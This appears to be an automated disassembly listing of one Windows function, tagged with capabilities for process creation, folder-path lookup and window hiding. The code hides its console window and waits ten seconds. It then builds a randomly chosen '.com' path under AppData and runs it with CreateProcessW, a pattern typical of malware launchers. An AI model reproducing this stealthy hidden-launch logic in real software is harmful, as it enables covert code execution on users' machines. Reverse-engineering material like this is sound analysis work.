Function at 0x402d90
Capabilities:
Create process on windows
Get common file path
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1658
call fcn.00408800
mov eax, dword [0x42a080]
xor eax, esp
mov dword [esp + 0x1654], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0x2710
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [esp + 0x1550]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x402e6a
push 0x1b
xorps xmm0, xmm0
mov dword [esp + 0x84], 0
push str.Failed_to_get_AppData_path.
lea ecx, [esp + 0x78]
movaps xmmword [esp + 0x78], xmm0
mov dword [esp + 0x8c], 0
call fcn.004060a0
mov ecx, dword [esp + 0x84]
cmp ecx, 0xf
jbe 0x402e51
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x1654]
xor ecx, esp
call fcn.0040781e
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x1550]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402e74
sub ecx, edx
mov dword [esp + 0x80], 0
lea eax, [esp + 0x1550]
mov dword [esp + 0x84], 0
add eax, ecx
lea edx, [esp + 0x1550]
xorps xmm0, xmm0
movaps xmmword [esp + 0x70], xmm0
cmp edx, eax
jne 0x402ec3
xor eax, eax
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
jmp 0x402ed6
push ecx
push ecx
lea eax, [esp + 0x1558]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406760
push str..com
lea ecx, [esp + 0x1c]
call fcn.00404a40
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x16c]
call fcn.004027b0
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x402f34
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402f2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
call fcn.00407275
push eax
lea ecx, [esp + 0x1cc]
call fcn.00404970
mov ecx, dword [0x42bc98]
mov eax, 0x2aaaaaab
mov edi, dword [0x42bc94]
sub ecx, edi
imul ecx
lea ecx, [esp + 0x1c8]
sar edx, 2
mov esi, edx
shr esi, 0x1f
dec esi
add esi, edx
xor esi, 0x80000000
cmp esi, 0x7fffffff
jne 0x402f84
call fcn.00406a00
mov ecx, eax
jmp 0x402fca
add esi, 0x80000001
call fcn.00406a00
mul esi
mov dword [esp + 0x14], eax
mov ecx, edx
cmp eax, esi
jae 0x402fca
mov eax, esi
xor edx, edx
neg eax
div esi
mov edi, edx
cmp dword [esp + 0x14], edi
jae 0x402fc4
nop dword [eax + eax]
lea ecx, [esp + 0x1c8]
call fcn.00406a00
mul esi
mov ecx, edx
cmp eax, edi
jb 0x402fb0
mov edi, dword [0x42bc94]
lea eax, [ecx + ecx*2]
lea eax, [edi + eax*8]
push eax
lea ecx, [esp + 0x154]
call fcn.004027b0
mov ecx, dword [esp + 0x84]
mov edi, 0x7ffffffe
mov eax, edi
add esp, 4
sub eax, ecx
cmp eax, 1
jb 0x4037ad
cmp dword [esp + 0x84], 7
lea eax, [esp + 0x70]
push 1
cmova eax, dword [esp + 0x74]
push 0x4270b4
push ecx
push eax
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x30]
call fcn.00406650
lea eax, [esp + 0x168]
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10c]
call fcn.00405b00
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x403078
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40306e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037b2
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x80]
mov eax, edi
sub eax, ecx
cmp eax, 1
jb 0x4037b7
cmp dword [esp + 0x84], 7
lea eax, [esp + 0x70]
push 1
cmova eax, dword [esp + 0x74]
push 0x4270b4
push ecx
push eax
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x30]
call fcn.00406650
lea eax, [esp + 0x150]
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x13c]
call fcn.00405b00
mov ecx, dword [esp + 0x30]
add esp, 4
cmp ecx, 7
jbe 0x40310b
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403101
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037bc
push ecx
push edx
call fcn.00407bc7
add esp, 8
push 0x2b
mov edx, 0x427154
lea ecx, [esp + 0xf4]
call fcn.004025e0
add esp, 4
lea ecx, [esp + 0xd8]
mov edx, 0x42712c
push 0x28
call fcn.004025e0
mov ecx, dword [esp + 0xf4]
lea edx, [esp + 0xf4]
mov eax, dword [esp + 0x104]
add esp, 4
cmp dword [esp + 0x104], 0xf
xorps xmm0, xmm0
movaps xmmword [esp + 0xb0], xmm0
cmova edx, ecx
mov dword [esp + 0xc0], 0
add eax, edx
mov dword [esp + 0xc4], 0
cmp dword [esp + 0x104], 0xf
lea edx, [esp + 0xf0]
cmova edx, ecx
cmp edx, eax
jne 0x4031a7
xor eax, eax
mov dword [esp + 0xc4], 7
mov word [esp + 0xb0], ax
jmp 0x4031b8
sub eax, edx
push eax
push ecx
push edx
lea ecx, [esp + 0xbc]
call fcn.00406760
cmp dword [esp + 0xec], 0xf
lea edx, [esp + 0xd8]
mov ecx, dword [esp + 0xd8]
xorps xmm0, xmm0
mov eax, dword [esp + 0xe8]
cmova edx, ecx
add eax, edx
movaps xmmword [esp + 0x90], xmm0
cmp dword [esp + 0xec], 0xf
lea edx, [esp + 0xd8]
mov dword [esp + 0xa0], 0
cmova edx, ecx
mov dword [esp + 0xa4], 0
cmp edx, eax
jne 0x403228
xor eax, eax
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], ax
jmp 0x403239
sub eax, edx
push eax
push ecx
push edx
lea ecx, [esp + 0x9c]
call fcn.00406760
lea edx, [esp + 0x108]
lea ecx, [esp + 0xb0]
call fcn.00402990
lea edx, [esp + 0x138]
lea ecx, [esp + 0x90]
call fcn.00402990
mov ecx, dword [esp + 0x118]
sub edi, ecx
cmp edi, 1
jb 0x4037c1
cmp dword [esp + 0x11c], 7
lea eax, [esp + 0x108]
push ecx
cmova eax, dword [esp + 0x10c]
push eax
push 1
push 0x4270b8
push ecx
push dword [esp + 0x28]
lea ecx, [esp + 0x60]
call fcn.00406650
push 0x4270b8
lea eax, [esp + 0x13c]
push eax
push 0x4270bc
lea edx, [esp + 0x54]
lea ecx, [esp + 0x24]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x38]
mov edx, eax
call fcn.00405b00
add esp, 4
lea ecx, [esp + 0x124]
mov edx, eax
call fcn.00405bc0
mov ecx, dword [esp + 0x48]
add esp, 4
cmp ecx, 7
jbe 0x40331c
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403312
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c6
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x2c]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 7
jbe 0x40336f
mov edx, dword [esp + 0x18]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403365
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c6
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x5c]
xor eax, eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], ax
cmp ecx, 7
jbe 0x4033c2
mov edx, dword [esp + 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4033b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c6
push ecx
push edx
call fcn.00407bc7
add esp, 8
push 0x40
lea eax, [esp + 0x188]
mov dword [esp + 0x184], 0x44
push 0
push eax
call fcn.00409440
add esp, 0xc
lea ecx, [esp + 0x60]
cmp dword [esp + 0x134], 7
lea eax, [esp + 0x120]
cmova eax, dword [esp + 0x120]
push ecx
lea ecx, [esp + 0x184]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40343c
push 0xffffffffffffffff
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x64]
call esi
mov ecx, dword [esp + 0x134]
cmp ecx, 7
jbe 0x40347e
mov edx, dword [esp + 0x120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403474
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0xa4]
xor eax, eax
mov dword [esp + 0x130], 0
mov dword [esp + 0x134], 7
mov word [esp + 0x120], ax
cmp ecx, 7
jbe 0x4034e0
mov edx, dword [esp + 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4034d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0xc4]
xor eax, eax
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], ax
cmp ecx, 7
jbe 0x403542
mov edx, dword [esp + 0xb0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403538
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0xec]
xor eax, eax
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 7
mov word [esp + 0xb0], ax
cmp ecx, 0xf
jbe 0x40359e
mov edx, dword [esp + 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403594
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x104]
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0xf
mov byte [esp + 0xd8], 0
cmp ecx, 0xf
jbe 0x4035f8
mov edx, dword [esp + 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4035ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x14c]
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
cmp ecx, 7
jbe 0x403658
mov edx, dword [esp + 0x138]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40364e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x11c]
xor eax, eax
mov dword [esp + 0x148], 0
mov dword [esp + 0x14c], 7
mov word [esp + 0x138], ax
cmp ecx, 7
jbe 0x4036ba
mov edx, dword [esp + 0x108]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4036b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x164]
xor eax, eax
mov dword [esp + 0x118], 0
mov dword [esp + 0x11c], 7
mov word [esp + 0x108], ax
cmp ecx, 7
jbe 0x40371c
mov edx, dword [esp + 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403712
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x17c]
cmp ecx, 7
jbe 0x40375a
mov edx, dword [esp + 0x168]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403750
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x84]
cmp ecx, 7
jbe 0x403795
mov edx, dword [esp + 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40378b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037cb
push ecx
push edx
call fcn.00407bc7
add esp, 8
mov ecx, dword [esp + 0x165c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040781e
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401510
call fcn.0040db89
call fcn.00401510
call fcn.0040db89
call fcn.00401510
call fcn.0040db89
call fcn.0040db89
int3